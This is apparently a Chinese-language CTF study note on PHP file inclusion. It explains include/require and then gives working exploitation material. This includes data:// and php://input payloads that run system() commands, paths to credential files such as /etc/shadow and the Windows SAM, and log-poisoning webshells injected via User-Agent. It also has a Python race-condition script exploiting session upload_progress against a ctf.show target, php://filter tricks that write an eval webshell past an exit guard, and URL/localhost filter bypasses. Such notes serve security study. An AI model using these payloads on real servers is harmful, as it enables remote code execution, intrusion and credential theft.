-- 函数 --
PHP
- require():找不到被包含的文件会产生致命错误,并停止脚本运行
- include():找不到被包含的文件只会产生警告,脚本继续执行
- require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
- include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
- 注: 文件包含函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来并执行
- 注: 文件包含相当于将对应文件内容复制到include位置, 所以也会在html显示非php代码内容
-- 利用 --
方法: 本地文件包含(LFI) 远程文件包含(RFI) 伪协议
伪协议
php://filter
-
php://filter: 一种元封装器, 设计用于数据流打开时的筛选过滤应用
php://filter 目标使用以下的参数作为它路径的一部分--参数-- resource=<过滤的数据流> 必须使用, 指定了要筛选过滤的数据流, 可以是其它的伪协议 read=<读链的筛选列表> 可选,可以设定一个或多个过滤器名称,以管道符(|)分隔 write=<写链的筛选列表> 可选,可以设定一个或多个过滤器名称,以管道符(|)分隔 <两个链的筛选列表> 任何没有以read=或write=作前缀 的筛选器列表会视情况应用于读或写链 --过滤器-- convert.base64-encode //等同于base64_encode(),base64编码 convert.base64-decode //等同于base64_decode(),base64解码 convert.iconv.UTF-8.UTF-16 (待定) 注:若没有过滤器,也需要将位置空出来 即php://filter//resource 而非 php://filter/resource 用法:1=php://filter/convert.base64-encode/resource=flag.php 使用filter时用过滤器来 读文件的源代码,因为不加密则会被文件包含函数执行
php://input
- php://input: 访问请求的原始数据(即数据包)的只读流
注:原始数据为还未进行 url解码的 请求体(可以为GET请求, 不会报错)?file=php://input 数据包中最下方加入 <?php php代码 ?>
data://
-
作用: 将文件数据直接嵌入到 URL 中的方法,而不是链接到外部文件
data://[<mediatype>][;base64],<data> data:协议名称,表示这是一个 data URL <mediatype>:可选参数,指定数据的MIME类型, 如 image/png 或 text/plain,若省略,则默认为 text/plain;charset=US-ASCII; base64:可选参数,表示数据使用 Base64 编码,使用时会先使用base64解码,再读取 <data>:文件的实际数据,可以是文本、图像、音频等。 ?file=data://text/plain,<?=system('命令');?> text/plain可省略,但逗号依然要存在 ?file=data://,<?=system('命令');?> 可用base64加密绕过 ?file=data://;base64,PD9waHAgc3lzdGVtKCRfR0VUWydhJ10pOz8%2B&a=命令
ZIP://
-
ZIP://: 可访问压缩包里面的文件,为读取 写入和修改 ZIP文件提供便捷的方式 而无需解压缩整个文件
zip://[archive_path]#[file_path] archive_path:ZIP 压缩文件的路径, 可以是绝对路径或相对路径 file_path:ZIP 压缩文件中要访问的文件的路径 要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23 只需要是zip的压缩包即可,后缀名可以任意更改 相同的类型还有zlib://和bzip2://
远程文件包含
- 前提: PHP的配置选项
allow_url_include
、allow_url_fopen
状态为ON, 远程文件后缀 不能与 目标服务器 的后端语言相同(因为远程包含是包含对应url的响应体,即html页面源码) - 作用: 可以让服务端加载用户端的恶意文件, 路径为url
包含服务端敏感文件
- Windows系统:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
- Linux/Unix系统:
/etc/passwd //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
配合文件上传
- 若无法绕过文件上传的检测, 可先上传一个图片格式的webshell到服务器, 在利用文件包含来解析
包含日志文件
- 条件: 对日志文件可读 且 知道日志文件的路径 日志文件路径可通过 服务器配置文件 httpd.conf nginx.conf 或 phpinfo() 得知 linux默认日志目录:
/var/log/nginx/或/var/log/apache2/
- 原理: 在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log, 可先向服务器发起 包含 php注入代码 的请求, 再用文件包含漏洞解析日志文件
- 注: 写入的是请求包中还未经过url解码的内容, 所以需在数据包中更改, 因为日志文件记录了 数据包第一行和 User-Agent, 可在User-Agent处注入
<?php system($_GET['a']);?>
<?=system($_GET['a']);?>
?file=/var/log/nginx/access.log&a=代码
包含临时文件
- 原理: php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用
C:\windows\temp
目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件 由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的 另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可
包含SESSION文件
- 前提: Session内的变量可控 且 Session文件有读写权限,知道存储路径
- 条件: 找到Session内的可控变量 且 Session文件可读写,并且知道存储路径
常用session文件存储路径 /var/lib/php/sessions/sess_会话ID /var/lib/php/sess_会话ID /tmp/sess_会话ID /tmp/sessions/sess_会话ID session文件格式:sess_<会话id>,而phpsessid在发送的请求的cookie字段中可以看到 注: Session存储路径还可通过phpinfo()得知
- 原理: 写入包含注入语句的Session, 并用文件包含漏洞解析Session存储文件
-
配置项:
session.upload_progress
session.upload_progress.enabled = on # 代表upload_progress功能开启,即当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 session.upload_progress.cleanup = on # 文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要 session.upload_progress.prefix = "upload_progress_" session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" # 当上传文件同时,POST 以name为参数名的变量时,php将会将上传进度存储在session中 # prefix的值+以name为参数名的变量的值 将成为session中存储了上传进度的值 对应的 键名 session.use_strict_mode=0 # 默认为0,当其为0时用户可自行设置开启的会话id, 方法是在Cookie中设置PHPSESSID=<会话id> --其它-- session.auto_start=false # 默认关闭,自动开启session,等效于在所有php文件开头加上session_start() session.upload_progress.freq = "1%" session.upload_progress.min_freq = "1"
- 利用
1.向服务器传输任意文件(尽量大一点),在同一个请求包中加上POST参数 PHP_SESSION_UPLOAD_PROGRESS=<?php system('ls');?> 加上Cookie值 PHPSESSID=flag #传输文件到服务器,会自动生成SESSION文件保存上传信息,其中信息对应的键名为upload_progress_<?php system('ls');?>,SESSION文件名为sess_flag 2.请求文件包含session文件(要知道对应路径), 如/tmp/sess_flag等 #文件包含SESSION文件,由于键名为我们构造的且反序列化储存并不会改变值,可以造成RCE 3.构造两个请求都不断发包(条件竞争),知道有回显,执行了我们想要的命令 #由于文件上传结束后SESSION文件就会自动删除,所以要条件竞争
- payload
<form action="" method="post" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls');?>"> <input type="file" id="file" name="fileToUpload"> <input type="submit" value="上传文件"> </form> <script> document.querySelector('form').addEventListener('submit', function(event) { document.cookie = "PHPSESSION=flag"; }); </script>
- 脚本
from requests import get, post from io import BytesIO from threading import Thread from urllib.parse import urljoin URL = 'https://03042687-bc97-470d-bfa0-749ee316f124.challenge.ctf.show/' PHPSESSID = 'shell' def write(): code = "<?php ?>');?>" data = {'PHP_SESSION_UPLOAD_PROGRESS': code} cookies = {'PHPSESSID': PHPSESSID} files = {'file': ('xxx.txt', BytesIO(b'x' * 10240))} while True: post(URL, data, cookies=cookies, files=files) def read(): params = {'file': f'/tmp/sess_{PHPSESSID}'} while True: get(URL, params) url = urljoin(URL, 'shell.php') code = get(url).status_code.real print(f'{url} {code}') if code == 200: exit() if __name__ == '__main__': Thread(target=write, daemon=True).start() read()
-- 特殊 --
对于
file_put_contents($_POST['filename'], <?php exit;?>.$_POST['content']); 或类似代码
注: file_put_contents若对应文件不存在则会自动创建
- 传入
?file=php://filter/write=convert.base64-decode/resource=1.php
, 将写入流进行base64解码, 原理: base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。 所以,一个正常的base64_decode实际上可以理解为如下两个步骤:
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
所以,在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和传入的$_POST['content']
(注: $_POST['content']
为base64编码后内容) 注: 最后最终被解码的字符要是4的倍数(因为base64编码都为4的倍数), 否则会造成解码不成功而报错
- 传入
?file=php://filter/write=string.rot13/resource=1.php
,将写入流进行rot13编码 ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
将写入流从 UCS-2LE 编码转换为 UCS-2BE 编码$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>');
通过这行代码获得注入内容- 或者使用其它的过滤器, 原理相同 条件:在PHP不开启short_open_tag(短标签)时 原理: rot13两次解码或编码后会变成原来的样子, 所以最终写入内容为rot13编码后的
<?php exit;?>
和传入的$_POST['content']
(注:$_POST['content']
为rot13编码后内容)
-- 绕过 --
URL过滤绕过
-
域名/ip被过滤
- 大小写绕过(域名对大小写不敏感)
- 将自己的域名解析到 特定IP地址 并访问
- 使用hex百分号编码 yuccun.cn->%79%75%63%63%75%6e%2e%63%6e
(注:协议的一部分不能用hex编码,如http://以及之后的/?) - 使用IP(十进制 八进制 十六进制) 注:不同进制可以混用(只要用点号隔开)
https://www.metools.info/other/ipconvert162.html
https://www.xuhuhu.com/ip-to-octal-converter.html - 删除/增加ip中最前面的0
如 127.0.0.1 -> 127.000.000.001 -> 127.000.0.01 - 将点号换为句号
-
http过滤: 使用//替代 (html标签中用//可以代替http://)
若要求使用http://但想使用js伪协议,可将http://放最后然后用//注释掉
注:html中默认使用file://协议,所以要跳转网页必须加上http://等 -
/过滤: 使用\ (//则使用\\)
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,
所以\\在Windows下是file协议,在linux下才会是当前域的协议 -
点过滤: 使用中文句号代替点号 浏览器会自动转换
-
localhost/127.0.0.1过滤
- 将自己的域名解析到127.0.0.1并访问
- 利用简写127.1 或全写 127.000.000.001等(任意删0增0)
- 使用0.0.0.0 或其简写 0(在linux会被解析为127.0.0.1,windows无效)
- 利用hex百分号编码, 或十进制
2130706433
八进制0177.0.0.1
十六进制0x7f.0.0.1
0x7F000001
- 将点号换为句号
-
文件名被过滤
- 切换为 绝对路径(/var/www/html/flag) 或 相对路径(flag 或 ./flag)
-
http/https前拼接绕过
方式: 首位加上@
, 然后加上想要访问的域名
原理: http/https协议在 域名中若有@符号,则@符号前的信息会被当成用户名,其后的才会被当作域名解析PHP标签绕过
-
<?php ?>
替换为<?= ?>
(php>5.4) 或<? ?>
(php.ini中short_open_tag选项开启) -
<% %>
(php<7.0, php.ini中asp_tags选项开启, 默认关闭) -
<script language="php"> </script>
(php<7.0)
file://
只能以字母开头
- 使用localhost再加上文件的路径
必须包含特殊字符
- 将特殊字符当成一个目录进行目录穿越 如
include flag/../index.html
, 其中flag会被当成一个文件夹, 且flag文件无需存在, 也可以使用php://filter, 在resource中目录穿越
拼接绕过
- 使用data://协议, 将后续拼接内容当成文件内容, 但include(data://) 只执行
<?php ?>
内的内容 - %00截断(php版本小于5.3.29